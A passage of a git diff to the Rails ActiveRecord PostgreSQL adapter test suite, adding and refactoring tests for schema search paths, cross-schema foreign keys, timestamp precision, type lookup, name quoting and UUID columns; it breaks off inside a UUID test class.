+      assert_equal pg_name.new(SCHEMA_NAME, UNMATCHED_SEQUENCE_NAME), seq, "sequence name should be found when table referenced as #{given}" if given ==  %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
     end
   end
 
@@ -310,18 +357,17 @@ class SchemaTest < ActiveRecord::TestCase
   end
 
   def test_prepared_statements_with_multiple_schemas
+    [SCHEMA_NAME, SCHEMA2_NAME].each do |schema_name|
+      with_schema_search_path schema_name do
+        Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now)
+      end
+    end
 
-    @connection.schema_search_path = SCHEMA_NAME
-    Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now)
-
-    @connection.schema_search_path = SCHEMA2_NAME
-    Thing5.create(:id => 1, :name => "thing inside #{SCHEMA2_NAME}", :email => "thing1@localhost", :moment => Time.now)
-
-    @connection.schema_search_path = SCHEMA_NAME
-    assert_equal 1, Thing5.count
-
-    @connection.schema_search_path = SCHEMA2_NAME
-    assert_equal 1, Thing5.count
+    [SCHEMA_NAME, SCHEMA2_NAME].each do |schema_name|
+      with_schema_search_path schema_name do
+        assert_equal 1, Thing5.count
+      end
+    end
   end
 
   def test_schema_exists?
@@ -335,6 +381,22 @@ class SchemaTest < ActiveRecord::TestCase
     end
   end
 
+  def test_reset_pk_sequence
+    sequence_name = "#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
+    @connection.execute "SELECT setval('#{sequence_name}', 123)"
+    assert_equal "124", @connection.select_value("SELECT nextval('#{sequence_name}')")
+    @connection.reset_pk_sequence!("#{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME}")
+    assert_equal "1", @connection.select_value("SELECT nextval('#{sequence_name}')")
+  end
+
+  def test_set_pk_sequence
+    table_name = "#{SCHEMA_NAME}.#{PK_TABLE_NAME}"
+    _, sequence_name = @connection.pk_and_sequence_for table_name
+    @connection.set_pk_sequence! table_name, 123
+    assert_equal "124", @connection.select_value("SELECT nextval('#{sequence_name}')")
+    @connection.reset_pk_sequence! table_name
+  end
+
   private
     def columns(table_name)
       @connection.send(:column_definitions, table_name).map do |name, type, default|
@@ -351,7 +413,7 @@ class SchemaTest < ActiveRecord::TestCase
 
     def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name, third_index_column_name, fourth_index_column_name)
       with_schema_search_path(this_schema_name) do
-        indexes = @connection.indexes(TABLE_NAME).sort_by {|i| i.name}
+        indexes = @connection.indexes(TABLE_NAME).sort_by(&:name)
         assert_equal 4,indexes.size
 
         do_dump_index_assertions_for_one_index(indexes[0], INDEX_A_NAME, first_index_column_name)
@@ -373,4 +435,82 @@ class SchemaTest < ActiveRecord::TestCase
       assert_equal this_index_column, this_index.columns[0]
       assert_equal this_index_name, this_index.name
     end
+
+    def bind_param(value)
+      ActiveRecord::Relation::QueryAttribute.new(nil, value, ActiveRecord::Type::Value.new)
+    end
+end
+
+class SchemaForeignKeyTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def test_dump_foreign_key_targeting_different_schema
+    @connection.create_schema "my_schema"
+    @connection.create_table "my_schema.trains" do |t|
+      t.string :name
+    end
+    @connection.create_table "wagons" do |t|
+      t.integer :train_id
+    end
+    @connection.add_foreign_key "wagons", "my_schema.trains", column: "train_id"
+    output = dump_table_schema "wagons"
+    assert_match %r{\s+add_foreign_key "wagons", "my_schema\.trains", column: "train_id"$}, output
+  ensure
+    @connection.execute "DROP TABLE IF EXISTS wagons"
+    @connection.execute "DROP TABLE IF EXISTS my_schema.trains"
+    @connection.execute "DROP SCHEMA IF EXISTS my_schema"
+  end
+end
+
+class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.execute "DROP SCHEMA IF EXISTS schema_1 CASCADE"
+    @connection.execute "CREATE SCHEMA schema_1"
+    @connection.execute "CREATE DOMAIN schema_1.text AS text"
+    @connection.execute "CREATE DOMAIN schema_1.varchar AS varchar"
+    @connection.execute "CREATE DOMAIN schema_1.bpchar AS bpchar"
+
+    @old_search_path = @connection.schema_search_path
+    @connection.schema_search_path = "schema_1, pg_catalog"
+    @connection.create_table "defaults" do |t|
+      t.text "text_col", default: "some value"
+      t.string "string_col", default: "some value"
+    end
+    Default.reset_column_information
+  end
+
+  teardown do
+    @connection.schema_search_path = @old_search_path
+    @connection.execute "DROP SCHEMA IF EXISTS schema_1 CASCADE"
+    Default.reset_column_information
+  end
+
+  def test_text_defaults_in_new_schema_when_overriding_domain
+    assert_equal "some value", Default.new.text_col, "Default of text column was not correctly parsed"
+  end
+
+  def test_string_defaults_in_new_schema_when_overriding_domain
+    assert_equal "some value", Default.new.string_col, "Default of string column was not correctly parsed"
+  end
+
+  def test_bpchar_defaults_in_new_schema_when_overriding_domain
+    @connection.execute "ALTER TABLE defaults ADD bpchar_col bpchar DEFAULT 'some value'"
+    Default.reset_column_information
+    assert_equal "some value", Default.new.bpchar_col, "Default of bpchar column was not correctly parsed"
+  end
+
+  def test_text_defaults_after_updating_column_default
+    @connection.execute "ALTER TABLE defaults ALTER COLUMN text_col SET DEFAULT 'some text'::schema_1.text"
+    assert_equal "some text", Default.new.text_col, "Default of text column was not correctly parsed after updating default using '::text' since postgreSQL will add parens to the default in db"
+  end
+
+  def test_default_containing_quote_and_colons
+    @connection.execute "ALTER TABLE defaults ALTER COLUMN string_col SET DEFAULT 'foo''::bar'"
+    assert_equal "foo'::bar", Default.new.string_col
+  end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/sql_types_test.rb b/activerecord/test/cases/adapters/postgresql/sql_types_test.rb
deleted file mode 100644
index d7d40f6385..0000000000
--- a/activerecord/test/cases/adapters/postgresql/sql_types_test.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require "cases/helper"
-
-class SqlTypesTest < ActiveRecord::TestCase
-  def test_binary_types
-    assert_equal 'bytea', type_to_sql(:binary, 100_000)
-    assert_raise ActiveRecord::ActiveRecordError do
-      type_to_sql :binary, 4294967295
-    end
-    assert_equal 'text', type_to_sql(:text, 100_000)
-    assert_raise ActiveRecord::ActiveRecordError do
-      type_to_sql :text, 4294967295
-    end
-  end
-
-  def type_to_sql(*args)
-    ActiveRecord::Base.connection.type_to_sql(*args)
-  end
-end
diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
index f1c4b85126..1497b0abc7 100644
--- a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
@@ -1,38 +1,40 @@
 require 'cases/helper'
 
-module ActiveRecord::ConnectionAdapters
-  class PostgreSQLAdapter < AbstractAdapter
-    class InactivePGconn
-      def query(*args)
-        raise PGError
-      end
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapter < AbstractAdapter
+      class InactivePGconn
+        def query(*args)
+          raise PGError
+        end
 
-      def status
-        PGconn::CONNECTION_BAD
+        def status
+          PGconn::CONNECTION_BAD
+        end
       end
-    end
 
-    class StatementPoolTest < ActiveRecord::TestCase
-      def test_cache_is_per_pid
-        return skip('must support fork') unless Process.respond_to?(:fork)
+      class StatementPoolTest < ActiveRecord::TestCase
+        if Process.respond_to?(:fork)
+          def test_cache_is_per_pid
+            cache = StatementPool.new nil, 10
+            cache['foo'] = 'bar'
+            assert_equal 'bar', cache['foo']
 
-        cache = StatementPool.new nil, 10
-        cache['foo'] = 'bar'
-        assert_equal 'bar', cache['foo']
+            pid = fork {
+              lookup = cache['foo'];
+              exit!(!lookup)
+            }
 
-        pid = fork {
-          lookup = cache['foo'];
-          exit!(!lookup)
-        }
-
-        Process.waitpid pid
-        assert $?.success?, 'process should exit successfully'
-      end
+            Process.waitpid pid
+            assert $?.success?, 'process should exit successfully'
+          end
+        end
 
-      def test_dealloc_does_not_raise_on_inactive_connection
-        cache = StatementPool.new InactivePGconn.new, 10
-        cache['foo'] = 'bar'
-        assert_nothing_raised { cache.clear }
+        def test_dealloc_does_not_raise_on_inactive_connection
+          cache = StatementPool.new InactivePGconn.new, 10
+          cache['foo'] = 'bar'
+          assert_nothing_raised { cache.clear }
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
index dbc69a529c..3091ee136f 100644
--- a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
@@ -1,7 +1,49 @@
 require 'cases/helper'
+require 'support/schema_dumping_helper'
 require 'models/developer'
 require 'models/topic'
 
+class PostgresqlTimestampTest < ActiveRecord::TestCase
+  class PostgresqlTimestampWithZone < ActiveRecord::Base; end
+
+  self.use_transactional_fixtures = false
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.execute("INSERT INTO postgresql_timestamp_with_zones (id, time) VALUES (1, '2010-01-01 10:00:00-1')")
+  end
+
+  teardown do
+    PostgresqlTimestampWithZone.delete_all
+  end
+
+  def test_timestamp_with_zone_values_with_rails_time_zone_support
+    with_timezone_config default: :utc, aware_attributes: true do
+      @connection.reconnect!
+
+      timestamp = PostgresqlTimestampWithZone.find(1)
+      assert_equal Time.utc(2010,1,1, 11,0,0), timestamp.time
+      assert_instance_of Time, timestamp.time
+    end
+  ensure
+    @connection.reconnect!
+  end
+
+  def test_timestamp_with_zone_values_without_rails_time_zone_support
+    with_timezone_config default: :local, aware_attributes: false do
+      @connection.reconnect!
+      # make sure to use a non-UTC time zone
+      @connection.execute("SET time zone 'America/Jamaica'", 'SCHEMA')
+
+      timestamp = PostgresqlTimestampWithZone.find(1)
+      assert_equal Time.utc(2010,1,1, 11,0,0), timestamp.time
+      assert_instance_of Time, timestamp.time
+    end
+  ensure
+    @connection.reconnect!
+  end
+end
+
 class TimestampTest < ActiveRecord::TestCase
   fixtures :topics
 
@@ -12,10 +54,6 @@ class TimestampTest < ActiveRecord::TestCase
   end
 
   def test_load_infinity_and_beyond
-    unless current_adapter?(:PostgreSQLAdapter)
-      return skip("only tested on postgresql")
-    end
-
     d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at")
     assert d.first.updated_at.infinite?, 'timestamp should be infinite'
 
@@ -26,10 +64,6 @@ class TimestampTest < ActiveRecord::TestCase
   end
 
   def test_save_infinity_and_beyond
-    unless current_adapter?(:PostgreSQLAdapter)
-      return skip("only tested on postgresql")
-    end
-
     d = Developer.create!(:name => 'aaron', :updated_at => 1.0 / 0.0)
     assert_equal(1.0 / 0.0, d.updated_at)
 
@@ -37,6 +71,35 @@ class TimestampTest < ActiveRecord::TestCase
     assert_equal(-1.0 / 0.0, d.updated_at)
   end
 
+  def test_bc_timestamp
+    date = Date.new(0) - 1.week
+    Developer.create!(:name => "aaron", :updated_at => date)
+    assert_equal date, Developer.find_by_name("aaron").updated_at
+  end
+
+  def test_bc_timestamp_leap_year
+    date = Time.utc(-4, 2, 29)
+    Developer.create!(:name => "taihou", :updated_at => date)
+    assert_equal date, Developer.find_by_name("taihou").updated_at
+  end
+
+  def test_bc_timestamp_year_zero
+    date = Time.utc(0, 4, 7)
+    Developer.create!(:name => "yahagi", :updated_at => date)
+    assert_equal date, Developer.find_by_name("yahagi").updated_at
+  end
+end
+
+class TimestampPrecisionTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+  self.use_transactional_fixtures = false
+
+  class Foo < ActiveRecord::Base; end
+
+  teardown do
+    ActiveRecord::Base.connection.drop_table(:foos, if_exists: true)
+  end
+
   def test_default_datetime_precision
     ActiveRecord::Base.connection.create_table(:foos)
     ActiveRecord::Base.connection.add_column :foos, :created_at, :datetime
@@ -54,7 +117,7 @@ class TimestampTest < ActiveRecord::TestCase
 
   def test_timestamps_helper_with_custom_precision
     ActiveRecord::Base.connection.create_table(:foos) do |t|
-      t.timestamps :precision => 4
+      t.timestamps :null => true, :precision => 4
     end
     assert_equal 4, activerecord_column_option('foos', 'created_at', 'precision')
     assert_equal 4, activerecord_column_option('foos', 'updated_at', 'precision')
@@ -62,7 +125,7 @@ class TimestampTest < ActiveRecord::TestCase
 
   def test_passing_precision_to_timestamp_does_not_set_limit
     ActiveRecord::Base.connection.create_table(:foos) do |t|
-      t.timestamps :precision => 4
+      t.timestamps :null => true, :precision => 4
     end
     assert_nil activerecord_column_option("foos", "created_at", "limit")
     assert_nil activerecord_column_option("foos", "updated_at", "limit")
@@ -71,43 +134,57 @@ class TimestampTest < ActiveRecord::TestCase
   def test_invalid_timestamp_precision_raises_error
     assert_raises ActiveRecord::ActiveRecordError do
       ActiveRecord::Base.connection.create_table(:foos) do |t|
-        t.timestamps :precision => 7
+        t.timestamps :null => true, :precision => 7
       end
     end
   end
 
   def test_postgres_agrees_with_activerecord_about_precision
     ActiveRecord::Base.connection.create_table(:foos) do |t|
-      t.timestamps :precision => 4
+      t.timestamps :null => true, :precision => 4
     end
     assert_equal '4', pg_datetime_precision('foos', 'created_at')
     assert_equal '4', pg_datetime_precision('foos', 'updated_at')
   end
 
-  def test_bc_timestamp
-    unless current_adapter?(:PostgreSQLAdapter)
-      return skip("only tested on postgresql")
+  def test_formatting_timestamp_according_to_precision
+    ActiveRecord::Base.connection.create_table(:foos, force: true) do |t|
+      t.datetime :created_at, precision: 0
+      t.datetime :updated_at, precision: 4
     end
-    date = Date.new(0) - 1.second
-    Developer.create!(:name => "aaron", :updated_at => date)
-    assert_equal date, Developer.find_by_name("aaron").updated_at
+    date = ::Time.utc(2014, 8, 17, 12, 30, 0, 999999)
+    Foo.create!(created_at: date, updated_at: date)
+    assert foo = Foo.find_by(created_at: date)
+    assert_equal 1, Foo.where(updated_at: date).count
+    assert_equal date.to_s, foo.created_at.to_s
+    assert_equal date.to_s, foo.updated_at.to_s
+    assert_equal 000000, foo.created_at.usec
+    assert_equal 999900, foo.updated_at.usec
+  end
+
+  def test_datetime_precision_with_zero_should_be_dumped
+    ActiveRecord::Base.connection.create_table(:foos) do |t|
+      t.timestamps precision: 0
+    end
+    output = dump_table_schema("foos")
+    assert_match %r{t\.datetime\s+"created_at",\s+precision: 0,\s+null: false$}, output
+    assert_match %r{t\.datetime\s+"updated_at",\s+precision: 0,\s+null: false$}, output
   end
 
   private
 
-    def pg_datetime_precision(table_name, column_name)
-      results = ActiveRecord::Base.connection.execute("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name ='#{table_name}'")
-      result = results.find do |result_hash|
-        result_hash["column_name"] == column_name
-      end
-      result && result["datetime_precision"]
+  def pg_datetime_precision(table_name, column_name)
+    results = ActiveRecord::Base.connection.execute("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name ='#{table_name}'")
+    result = results.find do |result_hash|
+      result_hash["column_name"] == column_name
     end
+    result && result["datetime_precision"]
+  end
 
-    def activerecord_column_option(tablename, column_name, option)
-      result = ActiveRecord::Base.connection.columns(tablename).find do |column|
-        column.name == column_name
-      end
-      result && result.send(option)
+  def activerecord_column_option(tablename, column_name, option)
+    result = ActiveRecord::Base.connection.columns(tablename).find do |column|
+      column.name == column_name
     end
-
+    result && result.send(option)
+  end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
new file mode 100644
index 0000000000..4506e874bc
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
@@ -0,0 +1,33 @@
+require 'cases/helper'
+
+class PostgresqlTypeLookupTest < ActiveRecord::TestCase
+  setup do
+    @connection = ActiveRecord::Base.connection
+  end
+
+  test "array delimiters are looked up correctly" do
+    box_array = @connection.type_map.lookup(1020)
+    int_array = @connection.type_map.lookup(1007)
+
+    assert_equal ';', box_array.delimiter
+    assert_equal ',', int_array.delimiter
+  end
+
+  test "array types correctly respect registration of subtypes" do
+    int_array = @connection.type_map.lookup(1007, -1, "integer[]")
+    bigint_array = @connection.type_map.lookup(1016, -1, "bigint[]")
+    big_array = [123456789123456789]
+
+    assert_raises(RangeError) { int_array.type_cast_for_database(big_array) }
+    assert_equal "{123456789123456789}", bigint_array.type_cast_for_database(big_array)
+  end
+
+  test "range types correctly respect registration of subtypes" do
+    int_range = @connection.type_map.lookup(3904, -1, "int4range")
+    bigint_range = @connection.type_map.lookup(3926, -1, "int8range")
+    big_range = 0..123456789123456789
+
+    assert_raises(RangeError) { int_range.type_cast_for_database(big_range) }
+    assert_equal "[0,123456789123456789]", bigint_range.type_cast_for_database(big_range)
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb
index 9e7b08ef34..3fdb6888d9 100644
--- a/activerecord/test/cases/adapters/postgresql/utils_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb
@@ -1,9 +1,10 @@
 require 'cases/helper'
 
 class PostgreSQLUtilsTest < ActiveSupport::TestCase
-  include ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils
+  Name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
+  include ActiveRecord::ConnectionAdapters::PostgreSQL::Utils
 
-  def test_extract_schema_and_table
+  def test_extract_schema_qualified_name
     {
       %(table_name)            => [nil,'table_name'],
       %("table.name")          => [nil,'table.name'],
@@ -14,7 +15,47 @@ class PostgreSQLUtilsTest < ActiveSupport::TestCase
       %("even spaces".table)   => ['even spaces','table'],
       %(schema."table.name")   => ['schema', 'table.name']
     }.each do |given, expect|
-      assert_equal expect, extract_schema_and_table(given)
+      assert_equal Name.new(*expect), extract_schema_qualified_name(given)
     end
   end
 end
+
+class PostgreSQLNameTest < ActiveSupport::TestCase
+  Name = ActiveRecord::ConnectionAdapters::PostgreSQL::Name
+
+  test "represents itself as schema.name" do
+    obj = Name.new("public", "articles")
+    assert_equal "public.articles", obj.to_s
+  end
+
+  test "without schema, represents itself as name only" do
+    obj = Name.new(nil, "articles")
+    assert_equal "articles", obj.to_s
+  end
+
+  test "quoted returns a string representation usable in a query" do
+    assert_equal %("articles"), Name.new(nil, "articles").quoted
+    assert_equal %("public"."articles"), Name.new("public", "articles").quoted
+  end
+
+  test "prevents double quoting" do
+    name = Name.new('"quoted_schema"', '"quoted_table"')
+    assert_equal "quoted_schema.quoted_table", name.to_s
+    assert_equal %("quoted_schema"."quoted_table"), name.quoted
+  end
+
+  test "equality based on state" do
+    assert_equal Name.new("access", "users"), Name.new("access", "users")
+    assert_equal Name.new(nil, "users"), Name.new(nil, "users")
+    assert_not_equal Name.new(nil, "users"), Name.new("access", "users")
+    assert_not_equal Name.new("access", "users"), Name.new("public", "users")
+    assert_not_equal Name.new("public", "users"), Name.new("public", "articles")
+  end
+
+  test "can be used as hash key" do
+    hash = {Name.new("schema", "article_seq") => "success"}
+    assert_equal "success", hash[Name.new("schema", "article_seq")]
+    assert_equal nil, hash[Name.new("schema", "articles")]
+    assert_equal nil, hash[Name.new("public", "article_seq")]
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/uuid_test.rb b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
index b573d48807..6693843497 100644
--- a/activerecord/test/cases/adapters/postgresql/uuid_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
@@ -1,95 +1,321 @@
-# encoding: utf-8
-
 require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
+
+module PostgresqlUUIDHelper
+  def connection
+    @connection ||= ActiveRecord::Base.connection
+  end
+
+  def drop_table(name)
+    connection.execute "drop table if exists #{name}"
+  end
+end
 
 class PostgresqlUUIDTest < ActiveRecord::TestCase
-  class UUID < ActiveRecord::Base
-    self.table_name = 'pg_uuids'
+  include PostgresqlUUIDHelper
+  include SchemaDumpingHelper
+
+  class UUIDType < ActiveRecord::Base
+    self.table_name = "uuid_data_type"
   end
 
-  def setup
-    @connection = ActiveRecord::Base.connection
+  setup do
+    connection.create_table "uuid_data_type" do |t|
+      t.uuid 'guid'
+    end
+  end
+
+  teardown do
+    drop_table "uuid_data_type"
+  end
+
+  def test_change_column_default
+    @connection.add_column :uuid_data_type, :thingy, :uuid, null: false, default: "uuid_generate_v1()"
+    UUIDType.reset_column_information
+    column = UUIDType.columns_hash['thingy']
+    assert_equal "uuid_generate_v1()", column.default_function
+
+    @connection.change_column :uuid_data_type, :thingy, :uuid, null: false, default: "uuid_generate_v4()"
+
+    UUIDType.reset_column_information
+    column = UUIDType.columns_hash['thingy']
+    assert_equal "uuid_generate_v4()", column.default_function
+  ensure
+    UUIDType.reset_column_information
+  end
+
+  def test_data_type_of_uuid_types
+    column = UUIDType.columns_hash["guid"]
+    assert_equal :uuid, column.type
+    assert_equal "uuid", column.sql_type
+    assert_not column.array?
+
+    type = UUIDType.type_for_attribute("guid")
+    assert_not type.binary?
+  end
+
+  def test_treat_blank_uuid_as_nil
+    UUIDType.create! guid: ''
+    assert_equal(nil, UUIDType.last.guid)
+  end
+
+  def test_treat_invalid_uuid_as_nil
+    uuid = UUIDType.create! guid: 'foobar'
+    assert_equal(nil, uuid.guid)
+  end
+
+  def test_invalid_uuid_dont_modify_before_type_cast
+    uuid = UUIDType.new guid: 'foobar'
+    assert_equal 'foobar', uuid.guid_before_type_cast
+  end
 
-    unless @connection.supports_extensions?
-      return skip "do not test on PG without uuid-ossp"
+  def test_acceptable_uuid_regex
+    # Valid uuids
+    ['A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11',
+     '{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}',
+     'a0eebc999c0b4ef8bb6d6bb9bd380a11',
+     'a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11',
+     '{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}',
+     # The following is not a valid RFC 4122 UUID, but PG doesn't seem to care,
+     # so we shouldn't block it either. (Pay attention to "fb6d" – the "f" here
+     # is invalid – it must be one of 8, 9, A, B, a, b according to the spec.)
+     '{a0eebc99-9c0b-4ef8-fb6d-6bb9bd380a11}',
+    ].each do |valid_uuid|
+      uuid = UUIDType.new guid: valid_uuid
+      assert_not_nil uuid.guid
     end
 
-    unless @connection.extension_enabled?('uuid-ossp')
-      @connection.enable_extension 'uuid-ossp'
-      @connection.commit_db_transaction
+    # Invalid uuids
+    [['A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11'],
+     Hash.new,
+     0,
+     0.0,
+     true,
+     'Z0000C99-9C0B-4EF8-BB6D-6BB9BD380A11',
+     'a0eebc999r0b4ef8ab6d6bb9bd380a11',
+     'a0ee-bc99------4ef8-bb6d-6bb9-bd38-0a11',
+     '{a0eebc99-bb6d6bb9-bd380a11}'].each do |invalid_uuid|
+      uuid = UUIDType.new guid: invalid_uuid
+      assert_nil uuid.guid
+    end
+  end
+
+  def test_uuid_formats
+    ["A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11",
+     "{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11}",
+     "a0eebc999c0b4ef8bb6d6bb9bd380a11",
+     "a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11",
+     "{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}"].each do |valid_uuid|
+      UUIDType.create(guid: valid_uuid)
+      uuid = UUIDType.last
+      assert_equal "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11", uuid.guid
     end
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema "uuid_data_type"
+    assert_match %r{t\.uuid "guid"}, output
+  end
 
-    @connection.reconnect!
+  def test_uniqueness_validation_ignores_uuid
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "uuid_data_type"
+      validates :guid, uniqueness: { case_sensitive: false }
 
-    @connection.transaction do
-      @connection.create_table('pg_uuids', id: :uuid) do |t|
-        t.string 'name'
-        t.uuid 'other_uuid', default: 'uuid_generate_v4()'
+      def self.name
+        "UUIDType"
       end
     end
+
+    record = klass.create!(guid: "a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11")
+    duplicate = klass.new(guid: record.guid)
+
+    assert record.guid.present? # Ensure we actually are testing a UUID
+    assert_not duplicate.valid?
+  end
+end
+
+class PostgresqlLargeKeysTest < ActiveRecord::TestCase
+  include PostgresqlUUIDHelper
+  include SchemaDumpingHelper
+
+  def setup
+    connection.create_table('big_serials', id: :bigserial) do |t|
+      t.string 'name'
+    end
   end
 
-  def teardown
-    @connection.execute 'drop table if exists pg_uuids'
+  def test_omg
+    schema = dump_table_schema "big_serials"
+    assert_match "create_table \"big_serials\", id: :bigserial", schema
   end
 
-  def test_id_is_uuid
-    assert_equal :uuid, UUID.columns_hash['id'].type
-    assert UUID.primary_key
+  def teardown
+    drop_table "big_serials"
   end
+end
+
+class PostgresqlUUIDGenerationTest < ActiveRecord::TestCase
+  include PostgresqlUUIDHelper
+  include SchemaDumpingHelper
 
-  def test_id_has_a_default
-    u = UUID.create
-    assert_not_nil u.id
+  class UUID < ActiveRecord::Base
+    self.table_name = 'pg_uuids'
   end
 
-  def test_auto_create_uuid
-    u = UUID.create
-    u.reload
-    assert_not_nil u.other_uuid
+  setup do
+    enable_extension!('uuid-ossp', connection)
+
+    connection.create_table('pg_uuids', id: :uuid, default: 'uuid_generate_v1()') do |t|
+      t.string 'name'
+      t.uuid 'other_uuid', default: 'uuid_generate_v4()'
+    end
+
+    # Create custom PostgreSQL function to generate UUIDs
+    # to test dumping tables which columns have defaults with custom functions
+    connection.execute <<-SQL
+    CREATE OR REPLACE FUNCTION my_uuid_generator() RETURNS uuid
+    AS $$ SELECT * FROM uuid_generate_v4() $$
+    LANGUAGE SQL VOLATILE;
+    SQL
+
+    # Create such a table with custom function as default value generator
+    connection.create_table('pg_uuids_2', id: :uuid, default: 'my_uuid_generator()') do |t|
+      t.string 'name'
+      t.uuid 'other_uuid_2', default: 'my_uuid_generator()'
+    end
   end
 
-  def test_pk_and_sequence_for_uuid_primary_key
-    pk, seq = @connection.pk_and_sequence_for('pg_uuids')
-    assert_equal 'id', pk
-    assert_equal nil, seq
+  teardown do
+    drop_table "pg_uuids"
+    drop_table 'pg_uuids_2'
+    connection.execute 'DROP FUNCTION IF EXISTS my_uuid_generator();'
+    disable_extension!('uuid-ossp', connection)
   end
 
-  def test_schema_dumper_for_uuid_primary_key
-    schema = StringIO.new
-    ActiveRecord::SchemaDumper.dump(@connection, schema)
-    assert_match(/\bcreate_table "pg_uuids", id: :uuid\b/, schema.string)
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_id_is_uuid
+      assert_equal :uuid, UUID.columns_hash['id'].type
+      assert UUID.primary_key
+    end
+
+    def test_id_has_a_default
+      u = UUID.create
+      assert_not_nil u.id
+    end
+
+    def test_auto_create_uuid
+      u = UUID.create
+      u.reload
+      assert_not_nil u.other_uuid
+    end
+
+    def test_pk_and_sequence_for_uuid_primary_key
+      pk, seq = connection.pk_and_sequence_for('pg_uuids')
+      assert_equal 'id', pk
+      assert_equal nil, seq
+    end
+
+    def test_schema_dumper_for_uuid_primary_key
+      schema = dump_table_schema "pg_uuids"
+      assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: "uuid_generate_v1\(\)"/, schema)
+      assert_match(/t\.uuid   "other_uuid", default: "uuid_generate_v4\(\)"/, schema)
+    end
+
+    def test_schema_dumper_for_uuid_primary_key_with_custom_default
+      schema = dump_table_schema "pg_uuids_2"
+      assert_match(/\bcreate_table "pg_uuids_2", id: :uuid, default: "my_uuid_generator\(\)"/, schema)
+      assert_match(/t\.uuid   "other_uuid_2", default: "my_uuid_generator\(\)"/, schema)
+    end
   end
 end
 
 class PostgresqlUUIDTestNilDefault < ActiveRecord::TestCase
-  class UUID < ActiveRecord::Base
-    self.table_name = 'pg_uuids'
-  end
+  include PostgresqlUUIDHelper
+  include SchemaDumpingHelper
 
-  def setup
-    @connection = ActiveRecord::Base.connection
-    @connection.reconnect!
+  setup do
+    enable_extension!('uuid-ossp', connection)
 
-    @connection.transaction do
-      @connection.create_table('pg_uuids', id: false) do |t|
-        t.primary_key :id, :uuid, default: nil
-        t.string 'name'
-      end
+    connection.create_table('pg_uuids', id: false) do |t|
+      t.primary_key :id, :uuid, default: nil
+      t.string 'name'
     end
   end
 
-  def teardown
-    @connection.execute 'drop table if exists pg_uuids'
+  teardown do
+    drop_table "pg_uuids"
+    disable_extension!('uuid-ossp', connection)
   end
 
-  def test_id_allows_default_override_via_nil
-    col_desc = @connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_id_allows_default_override_via_nil
+      col_desc = connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
                                     FROM pg_attribute a
                                     LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
                                     WHERE a.attname='id' AND a.attrelid = 'pg_uuids'::regclass").first
-    assert_nil col_desc["default"]
+      assert_nil col_desc["default"]
+    end
+
+    def test_schema_dumper_for_uuid_primary_key_with_default_override_via_nil
+      schema = dump_table_schema "pg_uuids"
+      assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: nil/, schema)
+    end
   end
 end
+
+class PostgresqlUUIDTestInverseOf < ActiveRecord::TestCase
+  include PostgresqlUUIDHelper
+
+  class UuidPost < ActiveRecord::Base
+    self.table_name = 'pg_uuid_posts'
+    has_many :uuid_comments, inverse_of: :uuid_post
+  end
+
+  class UuidComment < ActiveRecord::Base
+    self.table_name = 'pg_uuid_comments'
